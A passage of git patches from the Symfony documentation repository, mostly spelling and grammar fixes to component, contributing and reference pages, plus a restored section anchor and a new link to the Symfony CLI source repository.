     and add that new constraint to your class.
 
diff --git a/reference/constraints/DateTime.rst b/reference/constraints/DateTime.rst
index c62b360c2c8..dd15d8eed87 100644
--- a/reference/constraints/DateTime.rst
+++ b/reference/constraints/DateTime.rst
@@ -85,7 +85,7 @@ Options
 
 **type**: ``string`` **default**: ``Y-m-d H:i:s``
 
-This option allows to validate a custom date format. See
+This option allows you to validate a custom date format. See
 :phpmethod:`DateTime::createFromFormat` for formatting options.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
diff --git a/reference/constraints/_comparison-value-option.rst.inc b/reference/constraints/_comparison-value-option.rst.inc
index b587e46ffef..c8abdfb5af0 100644
--- a/reference/constraints/_comparison-value-option.rst.inc
+++ b/reference/constraints/_comparison-value-option.rst.inc
@@ -3,5 +3,5 @@
 
 **type**: ``mixed`` [:ref:`default option <validation-default-option>`]
 
-This option is required. It defines the value to compare to. It can be a
+This option is required. It defines the comparison value. It can be a
 string, number or object.
diff --git a/reference/constraints/_groups-option.rst.inc b/reference/constraints/_groups-option.rst.inc
index 0de5e2046b5..25ccf6e5d57 100644
--- a/reference/constraints/_groups-option.rst.inc
+++ b/reference/constraints/_groups-option.rst.inc
@@ -3,5 +3,5 @@
 
 **type**: ``array`` | ``string``
 
-It defines the validation group or groups this constraint belongs to. Read more
+It defines the validation group or groups of this constraint. Read more
 about :doc:`validation groups </validation/groups>`.
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index b9dea8349d0..768e4464b75 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -166,7 +166,7 @@ are propagated to their related listeners.
 
 It will replace, in cache for generated service factories, the PHP autoload by
 plain inlined ``include_once``. The benefit is a complete bypass of the autoloader
-for services and their class hierarchy. The result is as significant performance improvement.
+for services and their class hierarchy. The result is a significant performance improvement.
 
 Use this tag with great caution, you have to be sure that the tagged service is always used.
 
@@ -246,7 +246,7 @@ kernel.cache_clearer
 process
 
 Cache clearing occurs whenever you call ``cache:clear`` command. If your
-bundle caches files, you should add custom cache clearer for clearing those
+bundle caches files, you should add a custom cache clearer for clearing those
 files during the cache clearing process.
 
 In order to register your custom cache clearer, first you must create a
@@ -1157,7 +1157,7 @@ twig.runtime
 **Purpose**: To register a custom Lazy-Loaded Twig Extension
 
 :ref:`Lazy-Loaded Twig Extensions <lazy-loaded-twig-extensions>` are defined as
-regular services but the need to be tagged with ``twig.runtime``. If you're using the
+regular services but they need to be tagged with ``twig.runtime``. If you're using the
 :ref:`default services.yaml configuration <service-container-services-load-example>`,
 the service is auto-registered and auto-tagged. But, you can also register it manually:
 

From 701971102995e8666f88facd31f167f57a3e1dd0 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 14:07:54 -0400
Subject: [PATCH 1526/5766] Correct spelling & grammar in 4.4. contributing/

---
 contributing/code/bc.rst                         |  2 +-
 contributing/code/core_team.rst                  |  4 ++--
 contributing/code/maintenance.rst                |  2 +-
 contributing/code/stack_trace.rst                |  8 ++++----
 contributing/code/standards.rst                  |  2 +-
 contributing/code_of_conduct/code_of_conduct.rst |  2 +-
 .../code_of_conduct/reporting_guidelines.rst     |  2 +-
 contributing/community/mentoring.rst             |  2 +-
 contributing/community/releases.rst              |  2 +-
 contributing/community/review-comments.rst       | 16 ++++++++--------
 contributing/community/reviews.rst               |  2 +-
 contributing/community/speaker-mentoring.rst     |  2 +-
 contributing/diversity/governance.rst            |  4 ++--
 contributing/documentation/overview.rst          |  4 ++--
 contributing/translations/index.rst              |  2 +-
 15 files changed, 28 insertions(+), 28 deletions(-)

diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index 65e7b1d3181..482ac16d65b 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -10,7 +10,7 @@ may introduce new features, but must do so without breaking the existing API of
 that release branch (5.x in the previous example).
 
 We also provide deprecation message triggered in the code base to help you with
-the migration process across major release.
+the migration process across major releases.
 
 .. caution::
 
diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index e3aa1d4660e..1607c7c0252 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -109,7 +109,7 @@ Symfony contributions:
 Core Membership Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-About once a year, the core team discuss the opportunity to invite new members.
+About once a year, the core team discusses the opportunity to invite new members.
 
 Core Membership Revocation
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -171,7 +171,7 @@ The **Project Leader** is also the release manager for every Symfony version.
 Symfony Core Rules and Protocol Amendments
 ------------------------------------------
 
-The rules described in this document may be amended at anytime at the
+The rules described in this document may be amended at any time at the
 discretion of the **Project Leader**.
 
 .. [1] Minor changes comprise typos, DocBlock fixes, code standards
diff --git a/contributing/code/maintenance.rst b/contributing/code/maintenance.rst
index 854cd74b219..e03c22cabf3 100644
--- a/contributing/code/maintenance.rst
+++ b/contributing/code/maintenance.rst
@@ -74,7 +74,7 @@ are never accepted in a patch version:
 .. note::
 
     This policy is designed to enable a continuous upgrade path that allows one
-    to move forward with newest Symfony versions in the safest way. One should
+    to move forward with the newest Symfony versions in the safest way. One should
     be able to move PHP versions, OS or Symfony versions almost independently.
     That's the reason why supporting the latest PHP versions or OS features is
     considered as bug fixes.
diff --git a/contributing/code/stack_trace.rst b/contributing/code/stack_trace.rst
index b0ad81c77cd..cd672e05a2a 100644
--- a/contributing/code/stack_trace.rst
+++ b/contributing/code/stack_trace.rst
@@ -56,7 +56,7 @@ things for you beforehand, like routing or access control.
 Symfony being both a framework and library of components, it calls your
 code and then your code might call it. This means you will always have
 at least 2 parts, very often 3 in your stack traces when using Symfony:
-a part that starts in one of the entrypoints of the framework
+a part that starts in one of the entry points of the framework
 (``bin/console`` or ``public/index.php`` in most cases), and ends when
 reaching your code, most times in a command or in a controller found under
 ``src``. Then, either the exception is thrown in your code or in
@@ -75,7 +75,7 @@ Next, you can have a look at what packages are involved. Files under
 library and ``acme/router`` the Composer package. If you plan on
 reporting the bug, make sure to report it to the library throwing the
 exception. ``composer home acme/router`` should lead you to the right
-place for that. As Symfony is a monorepository, use ``composer home
+place for that. As Symfony is a mono-repository, use ``composer home
 symfony/symfony`` when reporting a bug for any component.
 
 Getting Stack Traces with Symfony
@@ -92,7 +92,7 @@ from your development environment through a web browser:
 
 1. Are there several exceptions? If yes, the most interesting one is
    often exception 1/n which, is shown *last* in the example below (it
-   is the one marked as exception [1/2]).
+   is the one marked as an exception [1/2]).
 2. Under the "Stack Traces" tab, you will find exceptions in plain
    text, so that you can easily share them in e.g. bug reports. Make
    sure to **remove any sensitive information** before doing so.
@@ -109,7 +109,7 @@ Since stack traces may contain sensitive data, they should not be
 exposed in production. Getting a stack trace from your production
 environment, although more involving, is still possible with solutions
 that include but are not limited to sending them to an email address
-with monolog.
+with Monolog.
 
 Stack Traces in the CLI
 ~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index ab4ca19ff4c..92b4af2b5f3 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -78,7 +78,7 @@ short example containing most features described below::
         }
 
         /**
-         * Transforms the input given as first argument.
+         * Transforms the input given as the first argument.
          *
          * @param bool|string $dummy   Some argument description
          * @param array       $options An options collection to be used within the transformation
diff --git a/contributing/code_of_conduct/code_of_conduct.rst b/contributing/code_of_conduct/code_of_conduct.rst
index b4fddcb9bc2..dcaf5f8ce9e 100644
--- a/contributing/code_of_conduct/code_of_conduct.rst
+++ b/contributing/code_of_conduct/code_of_conduct.rst
@@ -53,7 +53,7 @@ Scope
 
 This Code of Conduct applies both within project spaces and in public spaces
 when an individual is representing the project or its community. Examples of
-representing a project or community include using an official project e-mail
+representing a project or community include using an official project email
 address, posting via an official social media account, or acting as an appointed
 representative at an online or offline event. Representation of a project may be
 further defined and clarified by CARE team members.
diff --git a/contributing/code_of_conduct/reporting_guidelines.rst b/contributing/code_of_conduct/reporting_guidelines.rst
index 63c4e820ce6..b44fec3743e 100644
--- a/contributing/code_of_conduct/reporting_guidelines.rst
+++ b/contributing/code_of_conduct/reporting_guidelines.rst
@@ -76,7 +76,7 @@ members will not be included in any communication on the incidents as well as re
 created related to the incidents.
 
 CARE team members are expected to inform the CARE team and the reporters
-in case of conflicts on interest and recuse themselves if this is deemed a problem.
+in case of a conflict of interest, and recuse themselves if this is deemed to be a problem.
 
 Appealing the response
 ----------------------
diff --git a/contributing/community/mentoring.rst b/contributing/community/mentoring.rst
index 040a6ee90f0..511a61e6e82 100644
--- a/contributing/community/mentoring.rst
+++ b/contributing/community/mentoring.rst
@@ -7,7 +7,7 @@ it might still seem overwhelming - contributing can be complex! For this
 purpose we created a dedicated `Symfony Slack`_ channel called `#mentoring`_
 to connect new contributors to long-time contributors. This is a great way
 to get one-on-one advice on the entire process. These long-time contributors
-do really want to help new contributors - so feel free to ask anything!
+truly want to help new contributors - so feel free to ask anything!
 
 .. _`Symfony Slack`: https://symfony.com/slack-invite
 .. _`#mentoring`: https://symfony-devs.slack.com/messages/mentoring
diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst
index a34a9111df9..c717aea5c2a 100644
--- a/contributing/community/releases.rst
+++ b/contributing/community/releases.rst
@@ -80,7 +80,7 @@ of Symfony to the next one.
 
 When a feature implementation cannot be replaced with a better one without
 breaking backward compatibility, Symfony deprecates the old implementation and
-adds a new preferred one along side. Read the
+adds a new preferred one alongside. Read the
 :ref:`conventions <contributing-code-conventions-deprecations>` document to
 learn more about how deprecations are handled in Symfony.
 
diff --git a/contributing/community/review-comments.rst b/contributing/community/review-comments.rst
index 36bad6d7221..0a048d8fa6e 100644
--- a/contributing/community/review-comments.rst
+++ b/contributing/community/review-comments.rst
@@ -28,8 +28,8 @@ constructive, respectful and helpful reviews and replies.
     welcoming place for everyone. **You are free to disagree with
     someone's opinions, but don't be disrespectful.**
 
-First of, accept that many programming decisions are opinions.
-Discuss trade offs, which you prefer, and reach a resolution quickly.
+It’s important to accept that many programming decisions are opinions.
+Discuss trade-offs, which you prefer, and reach a resolution quickly.
 It's not about being right or wrong, but using what works.
 
 Tone of Voice
@@ -118,13 +118,13 @@ If a piece of code is in fact wrong, explain why:
 * "We only provide integration with very popular projects (e.g. we integrate Bootstrap but not your own CSS framework)"
 
 * "This would require adding lots of code and making lots of changes for a feature that doesn't look so important.
-  That could hurt maintaining in the future."
+  That could hurt maintenance in the future."
 
 Asking for Changes
 ------------------
 
 Rarely something is perfect from the start, while the code itself is good.
-It may not be optimal or conform the Symfony coding style.
+It may not be optimal or conform to the Symfony coding style.
 
 Again, understand the author already spent time on the issue and asking
 for (small) changes may be misinterpreted or seen as a personal attack.
@@ -143,7 +143,7 @@ Use words like "Please", "Thank you" and "Could you" instead of making demands;
 
 * "Please use 4 spaces instead of tabs", "This needs be on the previous line";
 
-During a pull request review you can usually leave more then one comment,
+During a pull request review you can usually leave more than one comment,
 you don't have to use "Please" all the time. But it wouldn't hurt.
 
 It may not seem like much, but saying "Thank you" does make others feel
@@ -158,7 +158,7 @@ In that case, it is better to try to approach the discussion in
 a different way, to not escalate further.
 
 If you want someone to mediate, please join the ``#contribs`` channel on `Symfony Slack`_,
-to have a safe environment and keep working together on the common goals.
+to have a safe environment and keep working together on common goals.
 
 Using Humor
 -----------
@@ -172,8 +172,8 @@ to the Symfony community.** And don't marginalize someone's problems;
 
 Even if someone's explanation is "inviting to joke about it", it's a real
 problem to them. Making jokes about this doesn't help with solving their
-problem and only makes them *feel stupid*. Instead try to discover what
-the problem is really about.
+problem and only makes them *feel stupid*. Instead, try to discover the
+actual problem.
 
 Final Words
 -----------
diff --git a/contributing/community/reviews.rst b/contributing/community/reviews.rst
index 14d8b71a28d..bca36099eeb 100644
--- a/contributing/community/reviews.rst
+++ b/contributing/community/reviews.rst
@@ -109,7 +109,7 @@ to understand the functionality that has been fixed or added and find out
 whether the implementation is complete.
 
 It is okay to do partial reviews! If you do a partial review, comment how far
-you got and leave the PR in "Needs Review" state.
+you got and leave the PR in the "Needs Review" state.
 
 Pick a pull request from the `PRs in need of review`_ and follow these steps:
 
diff --git a/contributing/community/speaker-mentoring.rst b/contributing/community/speaker-mentoring.rst
index d8dc6bdde71..82b25c61f57 100644
--- a/contributing/community/speaker-mentoring.rst
+++ b/contributing/community/speaker-mentoring.rst
@@ -23,7 +23,7 @@ speakers with people who are just taking their first steps in this area:
 
     A good first step might be to give a talk at a local user group to a
     smaller crowd that one knows more intimately. A next step could be to
-    give a talk at conference in your first language.
+    give a talk at a conference in your first language.
 
 The best way to find people that can review your talk idea or slides is
 the `#speaker-mentoring`_ channel on `Symfony Slack`_. There are many
diff --git a/contributing/diversity/governance.rst b/contributing/diversity/governance.rst
index 8dd302ccc0a..93a79ed30fa 100644
--- a/contributing/diversity/governance.rst
+++ b/contributing/diversity/governance.rst
@@ -64,11 +64,11 @@ knowing that the responsibility they accept for said vote is justified.
 Voting
 ~~~~~~
 
-The guidance team have the right to vote on proposals for actionable items.
+The guidance team has the right to vote on proposals for actionable items.
 The quorum of "yes" or "no" votes required for a decision to be considered valid
 is at least 75% of active, appointed members of the guidance team - to abstain
 from voting means that vote will not be counted towards the quorum.
-For an actionable item to pass, approval from greater than 50% of the voting
+For an actionable item to pass, approval from more than 50% of the voting
 guidance team members is required. Use or management of finances/donations
 require at least a two-thirds majority to pass.
 
diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 6213c569289..756502b4214 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -194,7 +194,7 @@ Your Next Documentation Contributions
 
 Check you out! You've made your first contribution to the Symfony documentation!
 Somebody throw a party! Your first contribution took a little extra time because
-you needed to learn a few standards and setup your computer. But from now on,
+you had to learn a few standards and set up your computer. But from now on,
 your contributions will be much easier to complete.
 
 Here is a **checklist** of steps that will guide you through your next
@@ -288,7 +288,7 @@ The generated documentation is available in the ``_build/html`` directory.
 Frequently Asked Questions
 --------------------------
 
-Why Do my Changes Take so Long to Be Reviewed and/or Merged?
+Why Do My Changes Take So Long to Be Reviewed and/or Merged?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Please be patient. It can take up to several days before your pull request can
diff --git a/contributing/translations/index.rst b/contributing/translations/index.rst
index d865111f0cf..82679a6a0f2 100644
--- a/contributing/translations/index.rst
+++ b/contributing/translations/index.rst
@@ -8,7 +8,7 @@ following error message by default: "This value is not a valid timezone."
 
 These messages are translated into tens of languages thanks to the Symfony
 community. Symfony adds new messages on a regular basis, so this is an ongoing
-translation process and you can help us providing the missing translations.
+translation process and you can help us by providing the missing translations.
 
 How to Contribute a Translation
 -------------------------------

From df23ae3a08061fb06479f9b26831ec9246424637 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 13:24:46 -0400
Subject: [PATCH 1527/5766] Correct spelling & grammar in 4.4 components/

---
 components/asset.rst            |  4 ++--
 components/http_kernel.rst      | 10 +++++-----
 components/inflector.rst        |  2 +-
 components/lock.rst             | 24 ++++++++++++------------
 components/mime.rst             |  4 ++--
 components/options_resolver.rst |  8 ++++----
 components/process.rst          |  4 ++--
 components/property_access.rst  |  2 +-
 components/property_info.rst    |  2 +-
 components/serializer.rst       |  4 ++--
 components/var_exporter.rst     |  2 +-
 11 files changed, 33 insertions(+), 33 deletions(-)

diff --git a/components/asset.rst b/components/asset.rst
index 6aab732333f..5be1003ef15 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -8,7 +8,7 @@ The Asset Component
     The Asset component manages URL generation and versioning of web assets such
     as CSS stylesheets, JavaScript files and image files.
 
-In the past, it was common for web applications to hardcode URLs of web assets.
+In the past, it was common for web applications to hard-code the URLs of web assets.
 For example:
 
 .. code-block:: html
@@ -357,7 +357,7 @@ they all have different base paths::
     $packages = new Packages($defaultPackage, $namedPackages);
 
 The ``Packages`` class allows to define a default package, which will be applied
-to assets that don't define the name of package to use. In addition, this
+to assets that don't define the name of the package to use. In addition, this
 application defines a package named ``img`` to serve images from an external
 domain and a ``doc`` package to avoid repeating long paths when linking to a
 document inside a template::
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index ac2733058e0..0bdb8c24b2f 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -249,7 +249,7 @@ on the request's information.
 
     The Symfony Framework uses the built-in
     :class:`Symfony\\Component\\HttpKernel\\Controller\\ControllerResolver`
-    class (actually, it uses a sub-class with some extra functionality
+    class (actually, it uses a subclass with some extra functionality
     mentioned below). This class leverages the information that was placed
     on the ``Request`` object's ``attributes`` property during the ``RouterListener``.
 
@@ -358,7 +358,7 @@ of arguments that should be passed when executing that callable.
 5) Calling the Controller
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The next step ``HttpKernel::handle()`` does is executing the controller.
+The next step of ``HttpKernel::handle()`` is executing the controller.
 
 The job of the controller is to build the response for the given resource.
 This could be an HTML page, a JSON string or anything else. Unlike every
@@ -602,7 +602,7 @@ on creating and attaching event listeners, see :doc:`/components/event_dispatche
 
 The name of each of the "kernel" events is defined as a constant on the
 :class:`Symfony\\Component\\HttpKernel\\KernelEvents` class. Additionally, each
-event listener is passed a single argument, which is some sub-class of :class:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent`.
+event listener is passed a single argument, which is some subclass of :class:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent`.
 This object contains information about the current state of the system and
 each event has their own event object:
 
@@ -692,7 +692,7 @@ Sub Requests
 ------------
 
 In addition to the "main" request that's sent into ``HttpKernel::handle()``,
-you can also send so-called "sub request". A sub request looks and acts like
+you can also send a so-called "sub request". A sub request looks and acts like
 any other request, but typically serves to render just one small portion of
 a page instead of a full page. You'll most commonly make sub-requests from
 your controller (or perhaps from inside a template, that's being rendered by
@@ -721,7 +721,7 @@ argument as follows::
 This creates another full request-response cycle where this new ``Request`` is
 transformed into a ``Response``. The only difference internally is that some
 listeners (e.g. security) may only act upon the master request. Each listener
-is passed some sub-class of :class:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent`,
+is passed some subclass of :class:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent`,
 whose :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::isMasterRequest`
 can be used to check if the current request is a "master" or "sub" request.
 
diff --git a/components/inflector.rst b/components/inflector.rst
index 5e9f4325884..960cb04d4ba 100644
--- a/components/inflector.rst
+++ b/components/inflector.rst
@@ -60,5 +60,5 @@ forms::
     Inflector::singularize('indices'); // ['index', 'indix', 'indice']
     Inflector::singularize('leaves');  // ['leaf', 'leave', 'leaff']
 
-    Inflector::pluralize('matrix');    // ['matricies', 'matrixes']
+    Inflector::pluralize('matrix');    // ['matrices', 'matrixes']
     Inflector::pluralize('person');    // ['persons', 'people']
diff --git a/components/lock.rst b/components/lock.rst
index 3789cb5d22a..60b53a3a906 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -51,7 +51,7 @@ method will try to acquire the lock::
 
     if ($lock->acquire()) {
         // The resource "pdf-invoice-generation" is locked.
-        // You can compute and generate invoice safely here.
+        // You can compute and generate the invoice safely here.
 
         $lock->release();
     }
@@ -70,7 +70,7 @@ method can be safely called repeatedly, even if the lock is already acquired.
 .. tip::
 
     If you don't release the lock explicitly, it will be released automatically
-    on instance destruction. In some cases, it can be useful to lock a resource
+    upon instance destruction. In some cases, it can be useful to lock a resource
     across several requests. To disable the automatic release behavior, set the
     third argument of the ``createLock()`` method to ``false``.
 
@@ -79,7 +79,7 @@ Serializing Locks
 
 The ``Key`` contains the state of the ``Lock`` and can be serialized. This
 allows the user to begin a long job in a process by acquiring the lock, and
-continue the job in an other process using the same lock::
+continue the job in another process using the same lock::
 
     use Symfony\Component\Lock\Key;
     use Symfony\Component\Lock\Lock;
@@ -203,7 +203,7 @@ as seconds) and ``isExpired()`` (which returns a boolean).
 Automatically Releasing The Lock
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Lock are automatically released when their Lock objects are destructed. This is
+Locks are automatically released when their Lock objects are destructed. This is
 an implementation detail that will be important when sharing Locks between
 processes. In the example below, ``pcntl_fork()`` creates two processes and the
 Lock will be released automatically as soon as one process finishes::
@@ -555,11 +555,11 @@ FlockStore
 ~~~~~~~~~~
 
 By using the file system, this ``Store`` is reliable as long as concurrent
-processes use the same physical directory to stores locks.
+processes use the same physical directory to store locks.
 
 Processes must run on the same machine, virtual machine or container.
-Be careful when updating a Kubernetes or Swarm service because for a short
-period of time, there can be two running containers in parallel.
+Be careful when updating a Kubernetes or Swarm service because, for a short
+period of time, there can be two containers running in parallel.
 
 The absolute path to the directory must remain the same. Be careful of symlinks
 that could change at anytime: Capistrano and blue/green deployment often use
@@ -571,7 +571,7 @@ Some file systems (such as some types of NFS) do not support locking.
 .. caution::
 
     All concurrent processes must use the same physical file system by running
-    on the same machine and using the same absolute path to locks directory.
+    on the same machine and using the same absolute path to the lock directory.
 
     By definition, usage of ``FlockStore`` in an HTTP context is incompatible
     with multiple front servers, unless to ensure that the same resource will
@@ -593,7 +593,7 @@ MemcachedStore
 
 The way Memcached works is to store items in memory. That means that by using
 the :ref:`MemcachedStore <lock-store-memcached>` the locks are not persisted
-and may disappear by mistake at anytime.
+and may disappear by mistake at any time.
 
 If the Memcached service or the machine hosting it restarts, every lock would
 be lost without notifying the running processes.
@@ -629,7 +629,7 @@ The PdoStore relies on the `ACID`_ properties of the SQL engine.
 .. caution::
 
     In a cluster configured with multiple primaries, ensure writes are
-    synchronously propagated to every nodes, or always use the same node.
+    synchronously propagated to every node, or always use the same node.
 
 .. caution::
 
@@ -650,7 +650,7 @@ RedisStore
 
 The way Redis works is to store items in memory. That means that by using
 the :ref:`RedisStore <lock-store-redis>` the locks are not persisted
-and may disappear by mistake at anytime.
+and may disappear by mistake at any time.
 
 If the Redis service or the machine hosting it restarts, every locks would
 be lost without notifying the running processes.
@@ -677,7 +677,7 @@ removed by mistake.
 CombinedStore
 ~~~~~~~~~~~~~
 
-Combined stores allow to store locks across several backends. It's a common
+Combined stores allow the storage of locks across several backends. It's a common
 mistake to think that the lock mechanism will be more reliable. This is wrong.
 The ``CombinedStore`` will be, at best, as reliable as the least reliable of
 all managed stores. As soon as one managed store returns erroneous information,
diff --git a/components/mime.rst b/components/mime.rst
index 9f6b0aaec92..965c7a377ae 100644
--- a/components/mime.rst
+++ b/components/mime.rst
@@ -38,7 +38,7 @@ complexity to provide two ways of creating MIME messages:
 * A high-level API based on the :class:`Symfony\\Component\\Mime\\Email` class
   to quickly create email messages with all the common features;
 * A low-level API based on the :class:`Symfony\\Component\\Mime\\Message` class
-  to have an absolute control over every single part of the email message.
+  to have absolute control over every single part of the email message.
 
 Usage
 -----
@@ -60,7 +60,7 @@ methods to compose the entire email message::
         ->html('<h1>Lorem ipsum</h1> <p>...</p>')
     ;
 
-This only purpose of this component is to create the email messages. Use the
+The only purpose of this component is to create the email messages. Use the
 :doc:`Mailer component </mailer>` to actually send them.
 
 Twig Integration
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 7fda38acc07..4d556d86fda 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -434,8 +434,8 @@ if you need to use other options during normalization::
         }
     }
 
-To normalize a new allowed value in sub-classes that are being normalized
-in parent classes use :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::addNormalizer`.
+To normalize a new allowed value in subclasses that are being normalized
+in parent classes, use :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::addNormalizer` method.
 This way, the ``$value`` argument will receive the previously normalized
 value, otherwise you can prepend the new normalizer by passing ``true`` as
 third argument.
@@ -452,7 +452,7 @@ encryption chosen by the user of the ``Mailer`` class. More precisely, you want
 to set the port to ``465`` if SSL is used and to ``25`` otherwise.
 
 You can implement this feature by passing a closure as the default value of
-the ``port`` option. The closure receives the options as argument. Based on
+the ``port`` option. The closure receives the options as arguments. Based on
 these options, you can return the desired default value::
 
     use Symfony\Component\OptionsResolver\Options;
@@ -484,7 +484,7 @@ these options, you can return the desired default value::
 .. note::
 
     The closure is only executed if the ``port`` option isn't set by the user
-    or overwritten in a sub-class.
+    or overwritten in a subclass.
 
 A previously set default value can be accessed by adding a second argument to
 the closure::
diff --git a/components/process.rst b/components/process.rst
index 0a53b021c91..d8d585fe987 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -110,7 +110,7 @@ with a non-zero code)::
 Using Features From the OS Shell
 --------------------------------
 
-Using array of arguments is the recommended way to define commands. This
+Using an array of arguments is the recommended way to define commands. This
 saves you from any escaping and allows sending signals seamlessly
 (e.g. to stop processes while they run)::
 
@@ -325,7 +325,7 @@ provides the :class:`Symfony\\Component\\Process\\InputStream` class::
     echo $process->getOutput();
 
 The :method:`Symfony\\Component\\Process\\InputStream::write` method accepts scalars,
-stream resources or ``Traversable`` objects as argument. As shown in the above example,
+stream resources or ``Traversable`` objects as arguments. As shown in the above example,
 you need to explicitly call the :method:`Symfony\\Component\\Process\\InputStream::close`
 method when you are done writing to the standard input of the subprocess.
 
diff --git a/components/property_access.rst b/components/property_access.rst
index 285f9d24b83..f9375516cf8 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -390,7 +390,7 @@ properties through *adder* and *remover* methods::
 The PropertyAccess component checks for methods called ``add<SingularOfThePropertyName>()``
 and ``remove<SingularOfThePropertyName>()``. Both methods must be defined.
 For instance, in the previous example, the component looks for the ``addChild()``
-and ``removeChild()`` methods to access to the ``children`` property.
+and ``removeChild()`` methods to access the ``children`` property.
 `The Inflector component`_ is used to find the singular of a property name.
 
 If available, *adder* and *remover* methods have priority over a *setter* method.
diff --git a/components/property_info.rst b/components/property_info.rst
index d8e3a693b12..8d86663c140 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -208,7 +208,7 @@ strings::
         Example Result
         --------------
         string(79):
-            These is the subsequent paragraph in the DocComment.
+            This is the subsequent paragraph in the DocComment.
             It can span multiple lines.
     */
 
diff --git a/components/serializer.rst b/components/serializer.rst
index 3e7da6c8b0b..b36f61fba0a 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -515,7 +515,7 @@ and :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`::
 
     You can also implement
     :class:`Symfony\\Component\\Serializer\\NameConverter\\AdvancedNameConverterInterface`
-    to access to the current class name, format and context.
+    to access the current class name, format and context.
 
 .. _using-camelized-method-names-for-underscored-attributes:
 
@@ -882,7 +882,7 @@ Option                  Description                                            D
                         and ``$options = ['csv_headers' => ['a', 'b', 'c']]``
                         then ``serialize($data, 'csv', $options)`` returns
                         ``a,b,c\n1,2,3``                                       ``[]``, inferred from input data's keys
-``csv_escape_formulas`` Escapes fields containg formulas by prepending them    ``false``
+``csv_escape_formulas`` Escapes fields containing formulas by prepending them    ``false``
                         with a ``\t`` character
 ``as_collection``       Always returns results as a collection, even if only   ``true``
                         one line is decoded.
diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 2e9ab500169..59f5ec64fab 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -118,7 +118,7 @@ any other methods::
 Instances of ``ArrayObject``, ``ArrayIterator`` and ``SplObjectHash`` can be
 created by using the special ``"\0"`` property name to define their internal value::
 
-    // Creates an SplObjectHash where $info1 is associated to $object1, etc.
+    // Creates an SplObjectHash where $info1 is associated with $object1, etc.
     $theObject = Instantiator::instantiate(SplObjectStorage::class, [
         "\0" => [$object1, $info1, $object2, $info2...],
     ]);

From b7e4ba4a6b2ad4963f9d4abe69ab1bf8c58851d0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Dec 2021 17:27:59 +0100
Subject: [PATCH 1528/5766] Restore a reference to a section

---
 best_practices.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/best_practices.rst b/best_practices.rst
index a2af083b73d..3ddb7aa67ac 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -435,6 +435,8 @@ Add this test while creating your application because it requires little effort
 and checks that none of your pages returns an error. Later, you'll add more
 specific tests for each page.
 
+.. _hardcode-urls-in-a-functional-test:
+
 Hard-code URLs in a Functional Test
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 16b1f1bf6a5c151dc29f3e70709719568e36a609 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Sun, 12 Dec 2021 10:19:27 -0400
Subject: [PATCH 1529/5766] [CLI] Add link in setup.rst to Symfony CLI source
 repo

---
 setup.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index c795feab42e..154ccae9e8b 100644
--- a/setup.rst
+++ b/setup.rst
@@ -39,8 +39,8 @@ requirements. Open your console terminal and run this command:
 
 .. note::
 
-    The Symfony binary is developed internally at Symfony. If you want to
-    report a bug or suggest a new feature, please create an issue on
+    The Symfony CLI source is available at the `Symfony CLI organization repository`_. If
+    you want to report a bug or suggest a new feature, please create an issue on
     `symfony/cli`_.
 
 .. _creating-symfony-applications:
@@ -319,6 +319,7 @@ Learn More
 .. _`Install Composer`: https://getcomposer.org/download/
 .. _`install Symfony CLI`: https://symfony.com/download
 .. _`symfony/cli`: https://github.com/symfony/cli
+.. _`Symfony CLI organization repository`: https://github.com/symfony-cli
 .. _`The Symfony Demo Application`: https://github.com/symfony/demo
 .. _`Symfony Flex`: https://github.com/symfony/flex
